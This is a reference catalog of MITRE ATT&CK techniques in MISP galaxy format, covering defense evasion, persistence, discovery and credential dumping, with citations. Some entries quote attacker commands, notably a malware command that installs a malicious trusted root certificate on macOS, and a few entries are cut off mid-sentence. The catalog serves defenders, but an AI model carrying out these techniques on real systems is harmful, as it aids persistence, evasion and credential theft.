Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders’ awareness of malicious activity. (Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.

Rather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). An adversary can also present a “healthy” system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.
For example, adversaries may show a fake Windows Security GUI and tray icon with a “healthy” system status after Windows Defender and other system tools have been disabled. (Citation: BlackBasta)

The tag is: misp-galaxy:mitre-attack-pattern="Spoof Security Alerting - T1562.011"

### Ignore Process Interrupts - T1564.011

Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off. (Citation: Linux Signal Man) These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes.

Adversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups. (Citation: nohup Linux Man) (Citation: Microsoft PowerShell SilentlyContinue) This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.

Hiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated.

The tag is: misp-galaxy:mitre-attack-pattern="Ignore Process Interrupts - T1564.011"

---

**Table 5290. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1562/011">https://attack.mitre.org/techniques/T1562/011</a></td>
</tr>
</tbody>
</table>

**Table 5291. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1564/011">https://attack.mitre.org/techniques/T1564/011</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_preference">https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_preference</a> _variables?view=powershell-7.3#debugpreference</td>
</tr>
<tr>
<td><a href="https://linux.die.net/man/1/nohup">https://linux.die.net/man/1/nohup</a></td>
</tr>
<tr>
<td><a href="https://man7.org/linux/man-pages/man7/signal.7.html">https://man7.org/linux/man-pages/man7/signal.7.html</a></td>
</tr>
</tbody>
</table>
**XDG Autostart Entries - T1547.013**

Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user's desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (.desktop) to configure the user's desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media. (Citation: Free Desktop Application Autostart Feb 2006) (Citation: Free Desktop Entry Keys)

Adversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the Exec directive in the .desktop configuration file. When the user's desktop environment is loaded at user login, the .desktop files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the /etc/xdg/autostart directory while the user entries are located in the ~/.config/autostart directory.

Adversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs. (Citation: Red Canary Netwire Linux 2022)

The tag is: misp-galaxy/mitre-attack-pattern="XDG Autostart Entries - T1547.013"

**Table 5292. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1547/013">https://attack.mitre.org/techniques/T1547/013</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/">https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/</a></td>
</tr>
<tr>
<td><a href="https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html">https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html</a></td>
</tr>
<tr>
<td><a href="https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html">https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html</a></td>
</tr>
</tbody>
</table>

**Identify business processes/tempo - T1280**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1280).

Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)

The tag is: misp-galaxy/mitre-attack-pattern="Identify business processes/tempo - T1280"

**Table 5293. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1280">https://attack.mitre.org/techniques/T1280</a></td>
</tr>
</tbody>
</table>
System Owner/User Discovery - T1033

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Various utilities and commands may acquire this information, including `<code>whoami</code>`. In macOS and Linux, the currently logged in user can be identified with `<code>w</code>` and `<code>who</code>`. On macOS the `<code>dscl . list /Users | grep -v '_'</code>` command can also be used to enumerate user accounts. Environment variables, such as `<code>%USERNAME%</code>` and `<code>$USER</code>`, may also be used to access this information.

On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device. (Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)

The tag is: `misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033"

Table 5294. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1033">https://attack.mitre.org/techniques/T1033</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/TA18-106A">https://us-cert.cisa.gov/ncas/alerts/TA18-106A</a></td>
</tr>
</tbody>
</table>

Disguise Root/Jailbreak Indicators - T1408

An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).

The tag is: `misp-galaxy:mitre-attack-pattern="Disguise Root/Jailbreak Indicators - T1408"

View relationships graph

Disguise Root/Jailbreak Indicators - T1408 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Disguise Root/Jailbreak Indicators - T1630.003"`
Table 5295. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1408">https://attack.mitre.org/techniques/T1408</a></td>
</tr>
</tbody>
</table>

**Obtain templates/branding materials - T1281**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1281).

Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)

The tag is: `misp-galaxy:mitre-attack-pattern="Obtain templates/branding materials - T1281"`

Table 5296. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1281">https://attack.mitre.org/techniques/T1281</a></td>
</tr>
</tbody>
</table>

**Research relevant vulnerabilities/CVEs - T1291**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1291).

Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)

The tag is: `misp-galaxy:mitre-attack-pattern="Research relevant vulnerabilities/CVEs - T1291"`

Table 5297. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1291">https://attack.mitre.org/techniques/T1291</a></td>
</tr>
</tbody>
</table>
Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)

The tag is: `misp-galaxy:mitre-attack-pattern="Conduct cost/benefit analysis - T1226"`

---

**Assess KITs/KIQs benefits - T1229**

Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.

The tag is: `misp-galaxy:mitre-attack-pattern="Assess KITs/KIQs benefits - T1229"`

---

**Determine approach/attack vector - T1245**

The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: CyberAdversaryBehavior)
The tag is: `misp-galaxy:mitre-attack-pattern="Determine approach/attack vector - T1245"`

### Mine technical blogs/forums - T1257

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1257).

Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)

The tag is: `misp-galaxy:mitre-attack-pattern="Mine technical blogs/forums - T1257"`

### Unused/Unsupported Cloud Regions - T1535

Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.

An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used. (Citation: CloudSploit - Unused AWS Regions)

The tag is: `misp-galaxy:mitre-attack-pattern="Unused/Unsupported Cloud Regions - T1535"`
Search Open Websites/Domains - T1593

Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts. (Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)

Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).

The tag is: **misp-galaxy:mitre-attack-pattern="Search Open Websites/Domains - T1593"**

Obtain booter/stressor subscription - T1396

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1396).

Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)

The tag is: **misp-galaxy:mitre-attack-pattern="Obtain booter/stressor subscription - T1396"**
Application Window Discovery - T1010

Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used. (Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used to identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade. (Citation: ESET Grandoreiro April 2020)

Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions.

The tag is: `misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010"

Table 5305. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1010"><strong>https://attack.mitre.org/techniques/T1010</strong></a></td>
</tr>
</tbody>
</table>

OS Credential Dumping - T1003

Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.

Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

The tag is: `misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"

Table 5306. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"><strong>http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/</strong></a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1003"><strong>https://attack.mitre.org/techniques/T1003</strong></a></td>
</tr>
</tbody>
</table>
Winlogon Helper DLL - T1004

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in `<code>HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon\</code>` and `<code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code>` are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

- Winlogon\Notify - points to notification package DLLs that handle Winlogon events
- Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
- Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.

The tag is: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004"

View relationships graph

Winlogon Helper DLL - T1004 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"

Table 5307. Table References

Links

https://attack.mitre.org/techniques/T1004
https://capec.mitre.org/data/definitions/579.html
Modify System Partition - T1400

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.

Many Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.

The tag is: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400"

Compile After Delivery - T1500

Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)

The tag is: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1500"
Compile After Delivery - T1500 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"

**Table 5309. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1500">https://attack.mitre.org/techniques/T1500</a></td>
</tr>
</tbody>
</table>

**Direct Volume Access - T1006**

Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)

Utilities, such as **NinjaCopy**, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as **vssadmin**, **wbadmin**, and [**esentutl**](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes. (Citation: LOLBAS Esentutl)

The tag is: **misp-galaxy:mitre-attack-pattern="Direct Volume Access - T1006"**

**Table 5310. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-using-CPU-">http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-using-CPU-</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1006">https://attack.mitre.org/techniques/T1006</a></td>
</tr>
<tr>
<td><a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Esentutl/">https://lolbas-project.github.io/lolbas/Binaries/Esentutl/</a></td>
</tr>
</tbody>
</table>

**System Service Discovery - T1007**

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `<code>sc query</code>`, `<code>tasklist /svc</code>`, `<code>systemctl --type=service</code>`, and `<code>net start</code>`.

Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)

Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.

The tag is: *misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080"*

**Table 5312. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1080">https://attack.mitre.org/techniques/T1080</a></td>
</tr>
<tr>
<td><a href="https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html">https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html</a></td>
</tr>
</tbody>
</table>

**Security Support Provider - T1101**

Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user’s Domain password or smart...
The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)

The tag is: misp-galaxy:mitre-attack-pattern="Security Support Provider - T1101"

View relationships graph

Security Support Provider - T1101 has relationships with:


Table 5313. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html">http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1101">https://attack.mitre.org/techniques/T1101</a></td>
</tr>
</tbody>
</table>

Peripheral Device Discovery - T1120

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. (Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions. 

The tag is: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"

Table 5314. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1120">https://attack.mitre.org/techniques/T1120</a></td>
</tr>
<tr>
<td><a href="https://linuxhint.com/list-usb-devices-linux/">https://linuxhint.com/list-usb-devices-linux/</a></td>
</tr>
<tr>
<td><a href="https://ss64.com/osx/system_profiler.html">https://ss64.com/osx/system_profiler.html</a></td>
</tr>
</tbody>
</table>

Password Policy Discovery - T1201

Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords
and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as `net accounts (/domain)`, `Get-ADDefaultDomainPasswordPolicy`, `chage -l <username>`, `cat /etc/pam.d/common-password`, and `pwpolicy getaccountpolicies` (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. `show aaa`, `show aaa common-criteria policy all`).(Citation: US-CERT-TA18-106A)

Password policies can be discovered in cloud environments using available APIs such as `GetAccountPasswordPolicy` in AWS (Citation: AWS GetPasswordPolicy).

The tag is: `misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201"

---

**Analyze business processes - T1301**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1301).

Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)

The tag is: `misp-galaxy:mitre-attack-pattern="Analyze business processes - T1301"

---

**Install Root Certificate - T1130**

Root certificates are used in public key cryptography to identify a root certificate authority (CA).
When a root certificate is installed, the system or application will trust certificates in the root’s chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses `<code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code>` to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)

The tag is: `misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130"

View relationships graph

Install Root Certificate - T1130 has relationships with:


Table S317. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1130">https://attack.mitre.org/techniques/T1130</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/479.html">https://capec.mitre.org/data/definitions/479.html</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/sysinternals/downloads/sigcheck">https://docs.microsoft.com/sysinternals/downloads/sigcheck</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Root_certificate">https://en.wikipedia.org/wiki/Root_certificate</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x26.html">https://objective-see.com/blog/blog_0x26.html</a></td>
</tr>
</tbody>
</table>
Modify Existing Service - T1031

Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).

Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.

Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031"

View relationships graph

Modify Existing Service - T1031 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 5318. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1031">https://attack.mitre.org/techniques/T1031</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/551.html">https://capec.mitre.org/data/definitions/551.html</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)">https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/r0wdy_/status/936365549553991680">https://twitter.com/r0wdy_/status/936365549553991680</a></td>
</tr>
</tbody>
</table>

Device Administrator Permissions - T1401

Adversaries may request device administrator permissions to perform malicious actions.

By abusing the device administration API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Device Lockout](https://attack.mitre.org/techniques/T1446), factory resetting the device to [Delete Device Data](https://attack.mitre.org/techniques/T1447) and...
any traces of the malware, disabling all of the device's cameras, or make it more difficult to uninstall the app.(Citation: Android DeviceAdminInfo)

Device administrators must be approved by the user at runtime, with a system popup showing which of the actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.

The tag is: *misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401"

**Ingress Tool Transfer - T1105**

Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)).

